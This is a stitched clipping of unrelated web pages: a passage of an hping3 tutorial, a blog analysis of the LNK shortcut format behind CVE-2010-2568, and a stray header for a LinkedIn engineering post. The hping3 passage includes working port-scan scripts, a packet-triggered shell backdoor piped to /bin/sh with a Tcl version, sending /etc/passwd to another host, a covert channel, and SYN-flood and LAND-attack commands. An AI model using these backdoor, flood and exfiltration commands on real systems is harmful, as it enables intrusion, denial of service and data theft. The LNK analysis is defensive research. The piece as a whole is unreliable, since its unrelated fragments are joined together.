    0.340180      4.2.2.1 -> 192.168.1.100 TCP [TCP Dup ACK 4#2] domain > 2268 [ACK] Seq=3335179575 Ack=1 Win=49312 Len=0
    0.340190 192.168.1.100 -> 4.2.2.1      TCP 2268 > domain [RST] Seq=1 Len=0
    
[/code]

While all of the above examples use _hping's_ command line features, since the
introduction of _hping3_ there is a powerful Tcl based scripting facility
implemented in the tool. You can access the interactive mode of hping by
simply typing _hping3_ with no other options. You should be presented with the
following prompt:

[code]

    hping3>
    
[/code]

To initiate a simple SYN scan on Google's port 80 type in the following:

[code]

    hping3> hping send "ip(saddr=192.168.1.100,daddr=72.14.207.99,ttl=255)+tcp(sport=666,dport=80,flags=s)"
    
[/code]

In the above example we are specifying a complete TCP packet using Ars Packet
Description \(APD\) format. We did not specify every single IP and TCP option,
because hping is capable of filling them in automatically. However, here is an
example of a completely specified APD packet:

[code]

    ip(ihl=0x5,ver=0x4,tos=0x00,totlen=52,id=28880,fragoff=0,mf=0,df=1,rf=0,ttl=64,proto=6,cksum=0x5bbe,saddr=192.168.1.100,\
    daddr=72.14.207.99)+tcp(sport=666,dport=80,seq=1804471615,ack=3634589598,x2=0x0,off=8,flags=a,win=62694,cksum=0xda46,urp=0)\
    +tcp.nop()+tcp.nop()+tcp.timestamp(val=54111314,ecr=1049055856)
    
[/code]

To scan multiple ports, a simple Tcl loop must be implemented:

[code]

    hping3> for {set i 79} {$i<82} {incr i} {
    hping send "ip(saddr=192.168.1.100,daddr=72.14.207.99,ttl=255)+tcp(sport=666,dport=$i,flags=s)"
    }
    
[/code]

The above command will scan ports 79-81 on Google. It makes sense to implement
the above as a separate Tcl script for future use:

[code]

    source "hpingstdlib.htcl"
    
    if {$argc < 4} {
        puts {usage: hping3 exec tcpscan.htcl hostname start_port end_port [SYN|ACK]}
        exit 1
    }
    
    set target [lindex $argv 0]
    set targetip [hping resolve $target]
    
    set start_port [lindex $argv 1]
    set end_port [lindex $argv 2]
    set scan_type [lindex $argv 3]
    
    if {[string toupper $scan_type] ====== "SYN"} {
        set send_flag "s"
        set return_flag "sa"
    } elseif {[string toupper $scan_type] ====== "ACK"} {
        set send_flag "a"
        set return_flag "r"
    }
    
    set outifaddr [hping outifa $targetip]
    set outifname [outifname $targetip]
    
    hping setfilter $outifname "tcp and host $targetip"
    
    set source_port [expr int(rand()*65536)]
    
    proc send_probe {} {
        after 1000 send_probe
        global outifaddr targetip start_port end_port source_port send_flag return_flag
        if {$start_port > $end_port} exit
        append probe "ip(saddr=$outifaddr,daddr=$targetip,ttl=255)+"
        append probe "tcp(sport=$source_port,dport=$start_port,flags=$send_flag,win=4096)"
        hping send $probe
        incr start_port
    }
    
    proc recv_probe {} {
        global outifname outifaddr targetip start_port end_port source_port send_flag return_flag
        set packets [hping recv $outifname 0 1000]
        foreach p $packets {
                   if {[GetIpSaddr $p] != $targetip} continue
                   if {[GetIpDaddr $p] != $outifaddr} continue
               if {[GetApdField tcp flags $p] ====== $return_flag} {
                   puts " Port [GetTcpSport $p] is open"
               }
        }
        after 10 recv_probe
    }
    
    puts "Scanning $target ($targetip), $start_port-$end_port"
    
    hping recv $outifname 0
    after 10 send_probe
    after idle recv_probe
    vwait forver
    
[/code]

The above script illustrates the potential for custom scan development. It can
be executed with the following command line:

[code]

    hping3 exec tcpscan.htcl google.com 79 81 SYN
    
[/code]

NOTE: Make sure hpingstdlib.htcl is somewhere in path \(it comes with hping3
source files\)

The above script produces the following output:

[code]

    Scanning google.com (64.233.187.99), 79-81
     Port 80 is open
    
[/code]

## TCP ACK Scan

TCP ACK Scan can be performed by setting ACK flag in probe packets:

[code]

    hping3 -A 72.14.207.99 -p 80 -c 1
    
[/code]

Scripted execution can be performed just like in previous examples:

[code]

    hping3> hping send "ip(saddr=192.168.1.100,daddr=72.14.207.99,ttl=255)+tcp(sport=666,dport=80,flags=a)"
    
[/code]

And at last _tcpscan.htcl_ in the previous section can be used to perform ACK
Scan with the following command line:

[code]

    hping3 exec tcpscan.htcl slashdot.org 79 81 ACK
    
[/code]

NOTE: Google sends RST to all unknown ports, ACK Scan will fail. However,
slashdot responds as it should according to RFCs ;-\)

## Other TCP Scans

Just like previously discussed scan types, we can construct other common and
custom types using different flags available in hping3.

For TCP Scan the following parameters can be used:

Command Line| Script| Description  
---|---|---  
-S or --syn| flags=s| SYN  
-A or --ack| flags=a| ACK  
-R or --rst| flags=r| RST  
-F or --fin| flags=f| FIN  
-P or --push| flags=p| PUSH  
-U or --urg| flags=u| URG  
-X or --xmas| flags=x| Xmas  
-Y or --ymas| flags=y| Tmas  
With the above table in mind we can easily create XMas Scan:

[code]

    hping3 -F -P -U 72.14.207.99 -p 80 -c 1
    
[/code]

or inside the script:

[code]

    hping3> hping send "ip(saddr=192.168.1.100,daddr=72.14.207.99,ttl=255)+tcp(sport=666,dport=80,flags=fpu)"
    
[/code]

To perform a Null Scan, simply leave out all flags from sent probes:

[code]

    hping3 72.14.207.99 -p 80 -c 1
    
[/code]

## UDP Scans

_hping_ can be configured to operate in UDP mode by specifying _-2_ in the
command line. Below is an example of a classic UDP Port Unreachable Scan:

[code]

    hping3 -2 192.168.1.1 -p 80 -c 1
    
[/code]

The above scan would generate output:

[code]

    HPING 192.168.1.1 (eth1 192.168.1.1): udp mode set, 28 headers + 0 data bytes
    ICMP Port Unreachable from ip=192.168.1.1 get hostname...
    --- 192.168.1.1 hping statistic ---
    1 packets transmitted, 0 packets received, 100% packet loss
    round-trip min/avg/max = 0.0/0.0/0.0 ms
    
[/code]

You can also use the following string in interactive mode:

[code]

    hping3> hping send "ip(saddr=192.168.1.100,daddr=192.168.1.1,ttl=255)+udp(sport=666,dport=80)"
    
[/code]

## IP Scan

You can use hping to perform an IP Scan on the target in order to enumerate
supported protocols. Use the following script to perform the scan:

[code]

    source "hpingstdlib.htcl"
    
    if {$argc < 1} {
        puts {usage: hping3 exec ipscan.htcl hostname}
        exit 1
    }
    
    set target [lindex $argv 0]
    set targetip [hping resolve $target]
    
    set outifaddr [hping outifa $targetip]
    set outifname [outifname $targetip]
    
    set ip_proto 1;
    
    hping setfilter $outifname "icmp and host $targetip"
    
    proc send_probe {} {
        after 100 send_probe
        global outifaddr targetip ip_proto
        if {$ip_proto > 255} exit
        append probe "ip(saddr=$outifaddr,daddr=$targetip,proto=$ip_proto,ttl=255)"
        hping send $probe
        incr ip_proto
    }
    
    proc recv_probe {} {
        global outifname outifaddr targetip
        set packets [hping recv $outifname 0 1000]
        foreach p $packets {
                   if {[GetIpSaddr $p] != $targetip} continue
                   if {[GetIpDaddr $p] != $outifaddr} continue
               puts "Response TYPE: [GetIcmpType $p]] CODE: [GetIcmpCode $p] ID: [GetIcmpId $p]"
    
        }
        after 10 recv_probe
    }
    
    puts "Scanning $target ($targetip)"
    
    hping recv $outifname 0
    after 10 send_probe
    after idle recv_probe
    vwait forver
    
[/code]

# Host Discovery

For all the different types of host discovery mechanisms, hping has only
limited facilities to scan multiple targets from the command line \(there is
obviously no such limitation when scripting the task\). In order to scan a
range of IP addresses you may use //x// character to be replaced by hping with
a random number. For example, the following command will scan entire class C
LAN range:

[code]

    hping3 -1 192.168.1.x --rand-dest -I eth0
    
[/code]

## ICMP Ping

You can perform an ICMP Ping with the following command:

[code]

    hping3 -1 192.168.1.1
    
[/code]

To send ICMP probe of different type such as Timestamp request:

[code]

    hping3 -1 192.168.1.1 -C 13
    
[/code]

There are abbreviations for two common ICMP tyles:

\--icmp-ts

    equivalent to -C 13 \(Timestamp request\)
\--icmp-addr

    equivalent to -C 17 \(Address mask request\)
Interactive mode can be used to produce similar results:

[code]

    hping3> hping send "ip(daddr=192.168.1.1)+icmp(type=8)"
    
[/code]

hping3 comes a complete implementation of ICMP Ping \(Echo based\) in //lib//
directory:

[code]

    hping3 exec ping.htcl 192.168.1.1
    
[/code]

## TCP Ping

Various types of TCP Pings can be sent by using standard TCP flags. For
example, to send a TCP SYN Ping to port 80:

[code]

    hping3 -S 192.168.1.1 -p 80
    
[/code]

and here is an example of Xmas Ping:

[code]

    hping3 -F -P -U 192.168.1.1 -p 0
    
[/code]

## UDP Ping

UDP Ping can be built using the following command:

[code]

    hping3 -2 192.168.1.1 -p 0
    
[/code]

the following script command will produce similar results:

[code]

    hping3> hping send "ip(saddr=192.168.1.100,daddr=192.168.1.1,ttl=255)+udp(sport=666,dport=0)"
    
[/code]

# OS Fingerprinting

## Initial Sequence Number

hping proves several ways to collect ISNs and determine their increments. The
simplest one is to use _-Q_ or _\--seqnum_ :

[code]

    hping3 192.168.1.103 -Q -p 139 -S
    HPING 192.168.1.103 (eth1 192.168.1.103): S set, 40 headers + 0 data bytes
    1122514315 +1122514315
    1122772104 +257789
    1123051866 +279762
    1123339049 +287183
    1123650435 +311386
    1123929718 +279283
    1124215445 +285727
    
    --- 192.168.1.103 hping statistic ---
    7 packets transmitted, 7 packets received, 0% packet loss
    round-trip min/avg/max = 0.2/2.1/10.9 ms
    
[/code]

There is also a powerful script to generate a spectrogram of ISN increments:

[code]

    hping3 exec isn-spectrogram.htcl 192.168.1.103 100 135
    
[/code]

This will produce the following graph for a Windows XP box:

[code]

    {{:tools:isn-spectrogram.png|}}
    
[/code]

# Sniffer

Using hping's listening modes we can intercept and save all traffic going
through our machine's network interface. For example, to intercept all traffic
containing HTTP signature the following command can be used:

[code]

    hping3 -9 HTTP -I eth0
    
[/code]

**Note** : Each packet will have initial HTTP cut off due to the way hping's
signature works

Or even better, intercept all google search queries:

[code]

    hping3 -9 "http://www.google.com/search?" --beep -I eth0
    
[/code]

Tcl must be used for more advanced display of captured information. To display
all traffic capture on the wire:

[code]

    hping3> while 1 {
    set p [lindex [hping recv eth1] 0]
    puts "[hping getfield data str $p]"
    }
    
[/code]

We can even show tcpdump like output:

[code]

    hping3> while 1 {
        set p [lindex [hping recv eth1] 0]
        puts "[hping getfield ip saddr $p] -> [hping getfield ip daddr $p]"
    }
    
[/code]

# Backdoor

Further expanding on hping's listening feature, we can pipe receiving packets
to _/bin/sh_ in order to create a simple backdoor:

[code]

    hping3 -I eth1 -9 secret | /bin/sh
    
[/code]

Backdoor can now be used by crafting packets destined at the host which
contain signature \(secret\) followed by executable command stored in
//commands\_file// \(cal; must add semi-column for /bin/sh to execute\):

[code]

    hping3 -R 192.168.1.100 -e secret -E commands_file -d 100 -c 1
    
[/code]

While command line offers only rudimentary backdoor functionality, we can
improve by writing our own backdoor script:

[code]

    if {$argc < 1} {
        puts {usage: hping3 exec backdoor.htcl secret}
        exit 1
    }
    
    set secret [lindex $argv 0]
    while 1 {
        set p [lindex [hping recv eth1] 0]
        set data [hping getfield data str $p]
        if {[string match $secret* $data]} {
        set cmd [string map "$secret {}" $data]
        set output ""
    
        set io [ open |$cmd ]
        while { [gets $io line] >= 0 } { append output "$line\n"}
        close $io
    
        set packet "ip(saddr=[hping getfield ip daddr $p],daddr=[hping getfield ip saddr $p],ttl=255)+"
        append packet "tcp(sport=[hping getfield tcp sport $p],dport=[hping getfield tcp dport $p],flags=r)+"
        append packet "data(str=$output)"
    
        hping send $packet
        }
    }
    
[/code]

You can execute the above with the following parameters:

[code]

    hping3 exec backdoor.htcl secret
    
[/code]

Now with the backdoor running on 192.168.1.100, we can execute on remote
machine:

[code]

    hping3 -R 192.168.1.100 -e secretcal -c 1
    
[/code]

Here is a packet trace for the above request:

[code]

    No.     Time        Source                Destination           Protocol Info
          3 0.000155    192.168.1.109         192.168.1.100         TCP      2561 > 0 [RST] Seq=0 Len=9
    
    0000  00 00 00 11 11 11 00 00 00 22 22 22 08 00 45 00   ..............E.
    0010  00 31 14 fd 00 00 40 06 e1 a8 c0 a8 01 6d c0 a8   .1....@......m..
    0020  01 64 0a 01 00 00 33 c1 ce 1f 69 52 75 e3 50 04   .d....3...iRu.P.
    0030  02 00 32 f0 00 00 73 65 63 72 65 74 63 61 6c      ..2...secretcal
    
[/code]

Backdoor script will match "secret" keyword and execute _cal_ command after
it. Output will be sent back as a reset packet. Here is a packet trace the
response:

[code]

    No.     Time        Source                Destination           Protocol Info
          4 0.006076    192.168.1.100         192.168.1.109         TCP      2561 > 0 [RST] Seq=0 Len=168
    
    0000  00 00 00 22 22 22 00 00 00 11 11 11 08 00 45 00   ..............E.
    0010  00 d0 ea d5 00 00 ff 06 4c 30 c0 a8 01 64 c0 a8   ........L0...d..
    0020  01 6d 0a 01 00 00 00 00 00 00 00 00 00 00 50 04   .m............P.
    0030  00 00 ff af 00 00 20 20 20 53 65 70 74 65 6d 62   ......   Septemb
    0040  65 72 20 32 30 30 37 20 20 20 0a 53 75 20 4d 6f   er 2007   .Su Mo
    0050  20 54 75 20 57 65 20 54 68 20 46 72 20 53 61 0a    Tu We Th Fr Sa.
    0060  20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20                   
    0070  20 20 20 31 0a 20 32 20 20 33 20 20 34 20 20 35      1. 2  3  4  5
    0080  20 20 36 20 20 37 20 20 38 0a 20 39 20 31 30 20     6  7  8. 9 10 
    0090  31 31 20 31 32 20 31 33 20 31 34 20 31 35 0a 31   11 12 13 14 15.1
    00a0  36 20 31 37 20 31 38 20 31 39 20 32 30 20 32 31   6 17 18 19 20 21
    00b0  20 32 32 0a 32 33 20 32 34 20 32 35 20 32 36 20    22.23 24 25 26 
    00c0  32 37 20 32 38 20 32 39 0a 33 30 20 20 20 20 20   27 28 29.30     
    00d0  20 20 20 20 20 20 20 20 20 20 20 20 20 0a                      .
    
[/code]

We can clearly see _cal_ output embedded inside TCP RST packet. Further
modifications/additions can be made to only accept command requests from a set
of ips with certain flags, parameters, etc.

# File Transfer

Instead of transferring separate commands we can transfer complete files using
hping. Here is how to set up the receiving end:

[code]

    hping3 -1 192.168.1.100 -9 signature -I eth0
    
[/code]

And here is the sending part:

[code]

    hping3 -1 192.168.1.101 -e signature -E /etc/passwd -d 2000
    
[/code]

**Note:** Set proper file size with -d flag, hping will automatically
fragment. I was not able to transmit files with _\--safe_ flag.

# Covert Channel

With the power of crafting virtually any IP packet, we can establish a covert
communication channel only using IP Protocol ids which are 8bit values just
like ASCII. This script will be split into receiving and sending parts.

[code]

    source "hpingstdlib.htcl"
    
    if {$argc < 2} {
        puts {usage: hping3 exec covert-send.htcl hostname message}
        exit 1
    }
    
    set target [lindex $argv 0]
    set targetip [hping resolve $target]
    
    set outifaddr [hping outifa $targetip]
    set outifname [outifname $targetip]
    
    set message [lindex $argv 1]
    
    foreach c [split $message {}] {
        set v 0;
        scan $c %c v;
        hping send "ip(saddr=$outifaddr,daddr=$targetip,proto=$v,ttl=255)+data(str=redflag)"
    }
    
[/code]

Using the above script the actual message is converted to numerical ASCII
equivalent so you can not immediately see the message. However, you will see a
lot of ICMP Protocol Unreachable message coming from a freaked out machine +
the "redflag" message transmitted in cleartext. Here the receiving portion of
covert channel:

[code]

    while 1 {
        set p [lindex [hping recv eth1] 0]
        set data [hping getfield data str $p]
        if {[string match redflag* $data]} {
        puts [ format %c [hping getfield ip proto $p] ]
        }
    }
    
[/code]

Below is a sample packet trace for the message "hping"

[code]

    0.000000 192.168.1.100 -> 192.168.1.1  IP ARIS (0x68)         # h
    0.000376 192.168.1.100 -> 192.168.1.1  VRRP Announcement (v7) # p
    0.000510 192.168.1.100 -> 192.168.1.1  IP SCPS (0x69)         # i
    0.000640 192.168.1.100 -> 192.168.1.1  IP Compaq Peer (0x6e)  # n
    0.000770 192.168.1.100 -> 192.168.1.1  PIMv7 Unknown          # g
    
[/code]

# Flooding

Here is an example of a classic \[\[attacks:syn\_flood\]\] targeting
192.168.1.1:

[code]

    hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 --flood
    
[/code]

Using the above example it is trivial to construct a
\[\[attacks::land\_attack\]\]:

[code]

    hping3 -S 192.168.1.101 -a 192.168.1.101 -k -s 135 -p 135 --flood
    
[/code]

A variation on the above is Remote LAND Attack, where a target router's
external and internal IPs are used:

[code]

    hping3 -A -S -P -U 66.66.66.66 -k -s 80 -p 80 -a 192.168.1.1
    
[/code]

# Fuzzing

## Traceroute

Basic UDP traceroute can be emulated using the following command:

[code]

    hping3 -2 4.2.2.1 -p ++44444 -T -n
    
    HPING 4.2.2.1 (eth1 4.2.2.1): udp mode set, 28 headers + 0 data bytes
    hop=1 TTL 0 during transit from ip=192.168.1.1
    hop=1 hoprtt=0.5 ms
    3: hop=3 TTL 0 during transit from ip=68.88.88.88
    hop=3 hoprtt=12.2 ms
    hop=4 TTL 0 during transit from ip=68.89.89.89
    hop=4 hoprtt=10.7 ms
    hop=5 TTL 0 during transit from ip=4.79.43.134
    hop=5 hoprtt=10.7 ms
    hop=6 TTL 0 during transit from ip=4.79.43.133
    hop=6 hoprtt=9.0 ms
    hop=7 TTL 0 during transit from ip=4.68.18.126
    hop=7 hoprtt=29.9 ms
    hop=8 TTL 0 during transit from ip=4.68.123.38
    hop=8 hoprtt=12.3 ms
    ICMP Port Unreachable from ip=4.2.2.1
    ICMP Port Unreachable from ip=4.2.2.1
    ...
    
[/code]

Similarly TCP traceroute can be launced with the following:

[code]

    hping3 -S 4.2.2.1 -p 53 -T
    
[/code]

**Note:** if hping gets stuck on any given hop simple press **CTRL-Z** in
order to skip unresponsive hop.

In order to observe how the route changes at different hops, we can fix the
TTL value. For example, when pinging Google we can see how routes change on
hop 15:

[code]

    hping3 -S 64.233.167.99 -p 80 -T --ttl 15 --tr-keep-ttl -n
    
    HPING 64.233.167.99 (eth1 64.233.167.99): S set, 40 headers + 0 data bytes
    hop=15 TTL 0 during transit from ip=66.249.94.133
    hop=15 hoprtt=64.7 ms
    hop=15 TTL 0 during transit from ip=66.249.94.133
    hop=15 hoprtt=90.5 ms
    hop=15 TTL 0 during transit from ip=72.14.232.53
    hop=15 hoprtt=63.9 ms
    hop=15 TTL 0 during transit from ip=72.14.232.53
    hop=15 hoprtt=61.6 ms
    
[/code]

# Firewall/IDS Testing

## TCP Timestamp Filtering

Many firewalls include a rule to drop TCP packets that do not have TCP
Timestamp option set which is a common occurrence in popular port scanners.
Simply add _\--tcp-timestamp_ option to append timestamp information:

[code]

    hping3 -S 72.14.207.99 -p 80 --tcp-timestamp
    
[/code]

## Local Privilege Escalation

Notice that any shell commands can be executed from _hping3 >_ command prompt.
If hping3> is running with root privileges then all shell commands will be
executed as root.

[code]

    hping3> id
    uid=0(root) gid=0(root) groups=0(root)
    
[/code]

# External Links

_Published on August 13th, 2008 by iphelix_

# Evilcodecave: Quick overview of Lnk File Format and Ways of Information
Extraction

**Created:**| _8/13/2010 11:52:48 AM_  
---|---  
**Updated:**| _8/13/2010 11:53:01 AM_  
**Author:**| __  
**Tags:**| _attacks windows security Exploit analysis_  
  

### Quick overview of Lnk File Format and Ways of Information Extraction

Hi,  
  
Long time no posting, due to severe busy issues.  
  
In this post we will meet the famous **.lnk** file, that in the last period
registered an high attention from Security Industry cause a vulnerability
exploited by a **rootkit**.  
  
  

"Windows Shell in Microsoft Windows XP SP3, Server 2003 SP2, Vista SP1 and
SP2, Server 2008 SP2 and R2, and Windows 7 allows local users or remote
attackers to execute arbitrary code via a crafted \(1\) .LNK or \(2\) .PIF
shortcut file, which is not properly handled during icon display in Windows
Explorer, as demonstrated in the wild in July 2010, and originally reported
for malware that leverages CVE-2010-2772 in Siemens WinCC SCADA systems."

  

The exploit uses a specially crafted LNK file. This file allows the attacker
to execute an arbitrary file by carefully specifying its location – the LNK
file in itself does not exploit any vulnerability such as buffer overflows,
for example, so it is a legitimate LNK file. **The LNK file used in targeted
attacks was manually crafted as some fields that are normally present, such as
CreationTime, AccessTime or WriteTime are all set to 0**.

  

Should be clear that the basical spread vector is the malicious **\*.lnk**
file, what should be heavy market is that at the actual state of art, no
autorun.inf is necessary, so we have to expect a new wave of infected USB Pen
Drives.

  
  
Around here there are tons of post about SCADA Infection, so I no longer
repeat the same things, very well discussed in other articles, due that I'm
basically a reverser, in this post I'm going to give some fast and quick note
on the Structure of Lnk File Format.  
  
lnk vulnerability is listed as**CVE-2010-2568**  
  
Lnk and Pif files are used for shortcutting, so executing on a Lnk or Pif file
has the same result as executing directly the file specified by the shortcut
the file that is specified on the shortcut target. The vulnerability involved
in Lnk essentially executes a malicious Dll in the same context of Windows
Control File.  
  
Lnk and Pif are by design a **Binary Based File Format** , also called **Shell
Link**. This file as previously exposed is used to store a **link target
namespace** referred to a **link target**. As we will see in the prosecution
of the post, lnk does not merely store only a link, but encapsulates a variety
of informations, like:  

  * **Keyboard Shortcut that can be used to callback the link**
  * **Application Behavior**
  * **Extended Comment**
  * **Extra Data Section, that offers possibility to add Optional Data**

Essentially lnk Bynary File Format inherits various characteristics from the
two major file formats:

  * **CFB - Compound File Format \(used by MS-Office Files\)**
  * **PROPOSTORE - Property Store Binary File Format**

We can manipulate this file format via COM Objects, in this case the two major
interfaces are:

  * **IShellLink**
  * **IPersistStream**
  * **IPersistFile**

Like in every File Format Reverse Engineering task, one of the best approach
is to perform analysis by acting like a parser that works into two levels of
abstraction, that I usually call:

  * **TopLevel Parser**
  * **DownLevel Parser**

**TopLevel Parser** is a shot of higher hierarchies, that keep track of lower
hierarchy structures. Here a shot of higher structures:  

<img src='img/Temp2_2793.png' />

  

**ShellLinkHeader** is placed at the beginning of .lnk file and provides the
following informations:

  * **Header Size**
  * **CLSID**
  * **LinkFlags**
  * **File Attributes**
  * **Creation Time**
  * **Last Access Time**
  * **Modification Time**
  * **Target Size**
  * **Icon Index**
  * **Show Command**
  * **Hotkey**
  * **Reserved1, Reserved2, Reserved3**

Header Size field is 4 bytes long and must be**0x4C** => **76**

CLSID is **00021401-0000-0000-c000-000000000046**  
ShowCommand easily specifies how the Window is displayed **Normal, Minimized,
Maximized**.  
Hotkey is easly to understand, specifies the Hotkey that can be used to call
the lnk  
  
One of the most interesting field is **LinkFlags** , that specifies what link
structures are present into the shortcut file, here the two possible values:  

  * **HasLinkTargetIDList -> value 'A'**
  * **HasLinkInfo -> value 'B'**
  * **HasName**
  * **HasRelativePath**
  * **HasWorkingDir**
  * **HasArguments**
  * **HasIconLocation**
  * **IsUnicode**
  * **ForceNoLinkInfo**
  * **HasExpString**
  * **RunInSeparateProcess**
  * **Unused**
  * **HasDarwinId**
  * **RunAsUser**
  * **etc.**

One of the most important Flag is HasLinkTargetIDList that declares the
presence of another important structure, LinkTargetIDList.

  

**LinkTargetIDList** is divided into two fields:

  * **IDListSize**
  * **IDList**

IDList specifies a list of **ItemIDs** , each ItemID contains the **Effective
Data**. An ItemID is composed by two fields:

  * **ItemIDSize**
  * **Data Block**

IDList and associated ItemIDs are Object Identifiers necessary to locate and
identify all Shell Objects, like:  

  * **Files**
  * **Directories**
  * **Servers**
  * **Workgroups**
  * **etc**

Technically these Identifiers are represented by **SHITEMID** structure
declared in **Shtypes.h**  
  
**typedef struct \_SHITEMID \{**  
**USHORT cb;**  
**BYTE abID\[1\];**  
**\} SHITEMID;**  
  
ItemID can be processed by using the interface **IShellFolder**
or**IShellLink::GetIDList\(\)** method.  
  
The second important flag is HasLinkInfo, because declares the presence
of**LinkInfo** structure. This structure specifies informations necessary to
resolve the link target if is not found in its original location. Here the
fields:

  * **LinkInfoSize**
  * **LinkInfoHeaderSize**
  * **LinkInfoFlags**
  * **VolumeIDOffset**
  * **LocalBasePathOffset**
  * **CommonNetworkRelativeOffset**
  * **CommonNetworkRelativeLinkOffset**
  * **CommonPathSuffixOffset**
  * **LocalBasePathOffsetUnicode**
  * **CommonPathSuffixOffsetUnicode**

  
Between the various fields one of the most interesting is the **VolumeID** ,
that specifies informations about the volume that a link target was on when
link target was created.  
  

The Third important structure is **StringData** that refers to a set of
structures that contain path identification informations.  
  
**String Data = NameString - RelativePath - WorkingDir - CmdLineArguments -
IconLocation**

  
The last important structure, **ExtraData** that is appended at the end of lnk
file, contains extra informations stored as **Augmented Backus-Naur** Form
\(**ABNF** -> **rfc 5234**\)  
  
At this point we have a complete view of Shell Link binary structure, we can
now how this file is used and how to manage it.  
  
When an user executes a lnk file, Windows is going to perform a **Link
Resolution** , essentially by using **IShellLink::Resolve\(\)** method that
attempts to find the target specified by the Shell Link, this operation is
accomplished by using a pointer to the already seen structure **IDList**. When
resolution fails system calls another service, called **DLT** \(**Distributed
Link Tracking and Object Identifiers** \).  
  
Should be clear that at this point lnk information carving could be performed
at two level of abstraction:  
  

  * **Via COM Interfaces**
  * **Raw Parsing by Mapping lnk file**

Via COM Interfaces can be used the methods listed here

  

**http://msdn.microsoft.com/en-us/library/bb774950%28v=VS.85%29.aspx**

  

**IShellLink** gives informations about Arguments, IDLists, Path and Working
Directory.

**IShellFolder** gives some more detailed information on Objects and offers
methods for Object Enumeration.

  

**http://msdn.microsoft.com/en-us/library/bb775075%28VS.85%29.aspx**

  

But as you can see something is missing, I'm talking about header
informations, let's see how appears from an hex dump:

  

  

<img src='img/Temp2_2794.png' width='640' height='452' />

  

In evidence the Header 4C bytes long, that obviously ends at offset 4C.
HeaderSize is 4 bytes long, immediately after we have the 16 bytes long CLSID.

  

**LinkFlags** is immediately after CLSID, so 4bytes + 16 bytes = 20 bytes
->**0x14 is the offset of LinkFlags** that's 4bytes long.

  

**FileAttributes** -> 4bytes long and starts**@offset 0x18**

  

Now we have the three file time fields stored as FILETIME Struct

  

**CreationTime->** 8bytes long **@offset 0x1C**

**AccessTime->** 8bytes long **@offset 0x24**

**ModificationTime->** 8bytes long **@offset 0x2C**

  

<img src='img/Temp2_2792.png' width='640' height='454' />

  

Now is trivial to build a python script, that show lnk characteristics; thanks
to**libforensics** things are really easy, because there is a module that
deals directly with Shell Link Binary Format, I'm talking about:

  

**lf.win.shell.link** module, here a quick sample that I've coded on fly, this
script show header informations that are not given by COM Interfaces:

  

+--------------------------------------------------------------------------+

**\# Raw LNK Parser based on LibForensics library**

**  
**

**from optparse import OptionParser**

**from datetime import datetime**

**  
**

**from lf.dec import RawIStream, ByteIStream**

**from lf.win.shell.link import ShellLink**

**  
**

**def main\(\):**

**usage = "%prog lnkFileName"**

**description = "Displays Header Informations of an Lnk Binary File \n"**

**  
**

**parser = OptionParser\(usage = usage, description = description,**

**version = "0.1"\)**

**  
**

**\(options, args\) = parser.parse\_args\(\)**

**  
**

**if len\(args\) < 1:**

**print\("You must specify a \*.lnk file \n"\)**

**else:**

**lnk = ShellLink\(RawIStream\(args\[0\]\)\)**

**  
**

**print\("Header Informations on: ",args\[0\], "\n"\)**

**  
**

**header = lnk.header**

****

**ctime = format\_timestamp\(header.btime\)**

**atime = format\_timestamp\(header.atime\)**

**mtime = format\_timestamp\(header.mtime\)**

**  
**

**print\("Header Size: ", header.size, "\n"\)**

**print\("CLSID: ", header.clsid, "\n"\)**

**print\("CreationTime: ", ctime, "\n"\)**

**print\("AccessTime: ", atime, "\n"\)**

**print\("ModificationTime: ", mtime, "\n"\)**

**print\("Target Size:", header.target\_size, "\n"\)**

**print\("Icon Index: ", header.icon\_index, "\n"\)**

**  
**

**def format\_timestamp\(timestamp\):**

**if isinstance\(timestamp, datetime\):**

**new\_timestamp = timestamp.isoformat\(" "\)**

**else:**

**new\_timestamp = timestamp**

**\# end if**

**  
**

**return new\_timestamp**

**  
**

**if \_\_name\_\_ == "\_\_main\_\_":**

**main\(\)**

+--------------------------------------------------------------------------+

  

Let's now observe the hex dump structure of LinkTargetIDList:

  

<img src='img/Temp2_2795.png' width='640' height='426' />

  

The Structure is clear we have the **IDList** size that specifies the whole
size and successively it's specified an **ItemIDSize** and immediately
attached the Data, and after the next **\[ItemIDSize\]\[Data\]**

  

**IDList** can be processed and enumerated by using again LibForensics by
using ShellLink's **idlist**.

**LinkInfo** can be examined by using **link\_info**

**StringData** can be examined by using **string\_data**

**ExtraData** can be examined by using **extra\_data**

  

Here the complete informations of the malicious lnk, obtained with linkinfo.py

  

+---------------------------------------------------------------------+

Command Line : test.lnk

File: test.lnk

  

Shell Link Header

=================

Header size: 76

CLSID: 00021401-0000-0000-c000-000000000046

**Creation time: 1601-01-01 00:00:00**

**Access time: 1601-01-01 00:00:00**

**Modification time: 1601-01-01 00:00:00**

Target size: 0

Icon index: 0

Show command: SW\_SHOWNORMAL \(0x1\)

Hotkey: 0:0

  

Link Flags:

\-----------

Has link target idlist: True

**Has link info: False**

Has name: False

Has relative path: False

Has working directory: False

Has arguments: False

Has icon location: False

Is unicode: True

Force no link info: False

Has exp. string: False

Run in separate process: False

Has logo3 id: False

Has darwin id: False

Run as user: False

Has exp. icon: False

No pidl alias: False

Force UNC name: False

Run with shim layer: False

Force no link track: False

Enable target metadata: False

Disable link path tracking: False

Disable known folder tracking: False

Disable known folder alias: False

Allow link to link: False

Prefer environment path: False

Keep local idlist for UNC target: False

  

File Attributes:

\----------------

Read only: False

Hidden: False

System: False

Directory: False

Archive: False

Normal: False

Temp: False

Sparse: False

Reparse point: False

Compressed: False

Offline: False

Not content indexed: False

Encrypted: False

  

Link Target IDList

==================

**Byte count: 20**

**Data: b'\x1fP\xe0O\xd0 \xea:i\x10\xa2\xd8\x08\x00+'**

**  
**

**Byte count: 20**

**Data: b'.\x1e \xec\!\xea:i\x10\xa2\xdd\x08\x00+'**

**  
**

**Byte count: 268**

**Data: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00j\x00\x00\x00'**

  

Byte count: 0

Data: Not in file

+---------------------------------------------------------------------+

  

In red you can see the elements that constitutes evidences of the malicious
nature of the lnk.

  

Microsoft decided to close the Specifications of Shell Link Format, this blog
post is a little abstract of the structure of lnk files, with some other
collateral information. Lnk need more and more analysis and research, with
these informations and with the help of python scripting is also trivial to
build a Lnk Fuzzer to further investigate new possible vulnerabilities.

  

See you to the next post,

Giuseppe 'Evilcry' Bonfa

# LinkedIn Intro: Doing the Impossible on iOS | LinkedIn Engineering
**Created:**| _10/24/2013 1:17:09 PM_  
